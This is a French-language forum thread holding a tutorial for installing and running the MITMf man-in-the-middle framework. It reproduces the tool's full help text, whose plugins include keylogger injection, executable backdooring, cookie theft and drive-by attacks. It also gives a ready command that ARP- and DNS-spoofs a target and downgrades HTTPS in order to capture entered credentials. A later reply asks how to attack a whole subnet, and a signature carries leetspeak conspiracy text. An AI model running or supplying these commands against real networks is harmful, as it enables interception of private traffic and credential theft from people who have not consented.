Auteur Sujet: [TUTO] Framework MITMf  (Lu 6091 fois)

0 Membres et 2 Invités sur ce sujet

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 592
  • +33/-5
[TUTO] Framework MITMf
« le: 13 juillet 2017 à 19:01:42 »
Bonjour à tous,
Ci apres un petit tuto sur l'insatllation de MITMf.
Comme son nom l'indique sa fonction principale est le MITM mais l'avantage de cet outil est qu'il va piocher dans SERGIO-PROXY et SSLSTRIP2 pour contourner le HSTS avec une astuce plutot maline, à savoir que pour obtenir le downgrad du HSTS vers le HTTP il se sert d'une faille DNS. En effet si l'on change la requete (par exemple un 4°w dans www ou un W majuscule dans wWw, du coup le routeur DNS est perdu ce qui permet de rediriger vers son proxy qui répondra avec une version HTTP. Simple mais fallait y penser.
Il comporte aussi un bon nombre de pluggins framework oblige). Enfin bref y a de quoi s'amuser
Treve de bavardage, entrons dans le vif du sujet :

Pour demarrer nous allons commencer par installer les libs externes suivantes :
root@kali:~# apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
Ensuite le petit git qui va bien :
git clone https://github.com/byt3bl33d3r/MITMf
Puis on GIT les repositories des sous modules :
root@kali:~# cd MITMf && git submodule init && git submodule update --recursive
on installe le tout :
root@kali:~# pip install -r requirements.txt
On check que c'est bien installé et on en profite pour regarder les options :
root@kali:~/MITMf# python mitmf.py --help

@@@@@@@@@@   @@@  @@@@@@@  @@@@@@@@@@   @@@@@@@@ 
@@@@@@@@@@@  @@@  @@@@@@@  @@@@@@@@@@@  @@@@@@@@ 
@@! @@! @@!  @@!    @@!    @@! @@! @@!  @@!       
!@! !@! !@!  !@!    !@!    !@! !@! !@!  !@!       
@!! !!@ @!@  !!@    @!!    @!! !!@ @!@  @!!!:!   
!@!   ! !@!  !!!    !!!    !@!   ! !@!  !!!!!:   
!!:     !!:  !!:    !!:    !!:     !!:  !!:       
:!:     :!:  :!:    :!:    :!:     :!:  :!:       
:::     ::    ::     ::    :::     ::    ::       
 :      :    :       :      :      :     :       

usage: mitmf.py -i interface [mitmf options] [plugin name] [plugin options]

MITMf v0.9.8 - 'The Dark Side'

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit

MITMf:
  Options for MITMf

  --log-level {debug,info}
                        Specify a log level [default: info]
  -i INTERFACE          Interface to listen on
  -c CONFIG_FILE        Specify config file to use
  -p, --preserve-cache  Don't kill client/server caching
  -r READ_PCAP, --read-pcap READ_PCAP
                        Parse specified pcap for credentials and exit
  -l PORT               Port to listen on (default 10000)
  -f, --favicon         Substitute a lock favicon on secure requests.
  -k, --killsessions    Kill sessions in progress.
  -F FILTER [FILTER ...], --filter FILTER [FILTER ...]
                        Filter to apply to incoming traffic

Upsidedownternet:
  Flips images 180 degrees

  --upsidedownternet    Load plugin 'Upsidedownternet'

SSLstrip+:
  Enables SSLstrip+ for partial HSTS bypass

  --hsts                Load plugin 'SSLstrip+'

Spoof:
  Redirect/Modify traffic using ICMP, ARP, DHCP or DNS

  --spoof               Load plugin 'Spoof'
  --arp                 Redirect traffic using ARP spoofing
  --icmp                Redirect traffic using ICMP redirects
  --dhcp                Redirect traffic using DHCP offers
  --dns                 Proxy/Modify DNS queries
  --netmask NETMASK     The netmask of the network
  --shellshock PAYLOAD  Trigger the Shellshock vuln when spoofing DHCP, and execute specified command
  --gateway GATEWAY     Specify the gateway IP
  --gatewaymac GATEWAYMAC
                        Specify the gateway MAC [will auto resolve if ommited]
  --targets TARGETS     Specify host/s to poison [if ommited will default to subnet]
  --ignore IGNORE       Specify host/s not to poison
  --arpmode {rep,req}    ARP Spoofing mode: replies (rep) or requests (req) [default: rep]

SMBTrap:
  Exploits the SMBTrap vulnerability on connected clients

  --smbtrap             Load plugin 'SMBTrap'

Inject:
  Inject arbitrary content into HTML content

  --inject              Load plugin 'Inject'
  --js-url JS_URL       URL of the JS to inject
  --js-payload JS_PAYLOAD
                        JS string to inject
  --js-file JS_FILE     File containing JS to inject
  --html-url HTML_URL   URL of the HTML to inject
  --html-payload HTML_PAYLOAD
                        HTML string to inject
  --html-file HTML_FILE
                        File containing HTML to inject
  --per-domain          Inject once per domain per client.
  --rate-limit RATE_LIMIT
                        Inject once every RATE_LIMIT seconds per client.
  --count-limit COUNT_LIMIT
                        Inject only COUNT_LIMIT times per client.
  --white-ips IP        Inject content ONLY for these ips (comma seperated)
  --black-ips IP        DO NOT inject content for these ips (comma seperated)
  --white-domains DOMAINS
                        Inject content ONLY for these domains (comma seperated)
  --black-domains DOMAINS
                        DO NOT inject content for these domains (comma seperated)

SMBAuth:
  Evoke SMB challenge-response auth attempts

  --smbauth             Load plugin 'SMBAuth'

ScreenShotter:
  Uses HTML5 Canvas to render an accurate screenshot of a clients browser

  --screen              Load plugin 'ScreenShotter'
  --interval SECONDS    Interval at which screenshots will be taken (default 10 seconds)

Responder:
  Poison LLMNR, NBT-NS and MDNS requests

  --responder           Load plugin 'Responder'
  --analyze             Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning
  --wredir              Enables answers for netbios wredir suffix queries
  --nbtns               Enables answers for netbios domain suffix queries
  --fingerprint         Fingerprint hosts that issued an NBT-NS or LLMNR query
  --lm                  Force LM hashing downgrade for Windows XP/2003 and earlier
  --wpad                Start the WPAD rogue proxy server
  --forcewpadauth       Force NTLM/Basic authentication on wpad.dat file retrieval (might cause a login prompt)
  --basic               Return a Basic HTTP authentication. If not set, an NTLM authentication will be returned

Replace:
  Replace arbitrary content in HTML content

  --replace             Load plugin 'Replace'

JSKeylogger:
  Injects a javascript keylogger into clients webpages

  --jskeylogger         Load plugin 'JSKeylogger'

ImageRandomizer:
  Replaces images with a random one from a specified directory

  --imgrand             Load plugin 'ImageRandomizer'
  --img-dir DIRECTORY   Directory with images

HTA Drive-By:
  Performs HTA drive-by attacks on clients

  --hta                 Load plugin 'HTA Drive-By'
  --text TEXT           Text to display on notification bar
  --hta-app HTA_APP     Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]

FilePwn:
  Backdoor executables being sent over http using bdfactory

  --filepwn             Load plugin 'FilePwn'

Ferret-NG:
  Captures cookies and starts a proxy that will feed them to connected clients

  --ferretng            Load plugin 'Ferret-NG'
  --port PORT           Port to start Ferret-NG proxy on (default 10010)
  --load-cookies FILE   Load cookies from a log file

Captive Portal:
  Be a captive portal!

  --captive             Load plugin 'Captive Portal'
  --portalurl URL       Specify the URL where the portal is located, e.g. http://example.com.
  --portaldir LOCALDIR  Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).
  --use-dns             Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.

BrowserProfiler:
  Attempts to enumerate all browser plugins of connected clients

  --browserprofiler     Load plugin 'BrowserProfiler'

BrowserSniper:
  Performs drive-by attacks on clients with out-of-date browser plugins

  --browsersniper       Load plugin 'BrowserSniper'

AppCachePoison:
  Performs App Cache Poisoning attacks

  --appoison            Load plugin 'AppCachePoison'

Use wisely, young Padawan.
root@kali:~/MITMf#

Comme vous pouvre le constater les options sont nombreuses.
Il n'y a plus qu'a lancer un :

root@kali:~/MITMf# python mitmf.py -i eth0 --spoof --arp --hsts --dns --gateway 192.168.0.1 --target 192.168.0.15Nous avons ici une attaque en ethernet, avec spoofing arp et dns, downgrap HSTS. Avec un mitm entre la passerelle 192.168.0.1 et la machine cible 192.168.0.15

Il ne vous reste plus qu'a aller sur votre navigateur, consulter quelques pages et saisir quelques informations, pour ensuite voir le resultat dans les fichiers de log qui se situent dans le repertoire MITMf.
Le downgrad HTTP n'est pas sur à 100% mais chez moi il marche 9 fois sur 10.

Voila-voila... :-)









« Modifié: 13 juillet 2017 à 19:17:53 par _john_doe »

Hors ligne Frenchcore44

  • Membre régulier
  • **
  • Messages: 97
  • +2/-0
Re : [TUTO] Framework MITMf
« Réponse #1 le: 19 janvier 2019 à 20:37:10 »
Salut petite question, esque --target je peut l'utliser pour cibler plusieurs victime voir tout un en réseaux en mettant 192.168.1.0/24 ou bien 192.168.1.255/24 comment je pourrais faire pour attaquer un réseaux entier ? ( je précise que ma passerelle est en 192.168.1.1)

Merci d'avence
>l3$ 3l1t3$ 0l1garc1qu3$ m0nd1al1st3 et l3ur$ ma1tr3s 0ccult3s v0us r3m3rc13nts d3 v0tr3 part1c1pat10ns à l'av3nc33 d3 la m1s3 3n plac3 du n0uv3l 0rdr3 m0ndial
 
0rd0 Ab Cha0 / P0ur V0tr3 S3cur1t3 V0u$ N' @ur3z P1u$ D3 L1b1t33 / Qu1 @pp@rti3nt L3 p@ss3 @pp@rti3nt L3 Pr3s3nt / % P0ur M13uX R3gn3r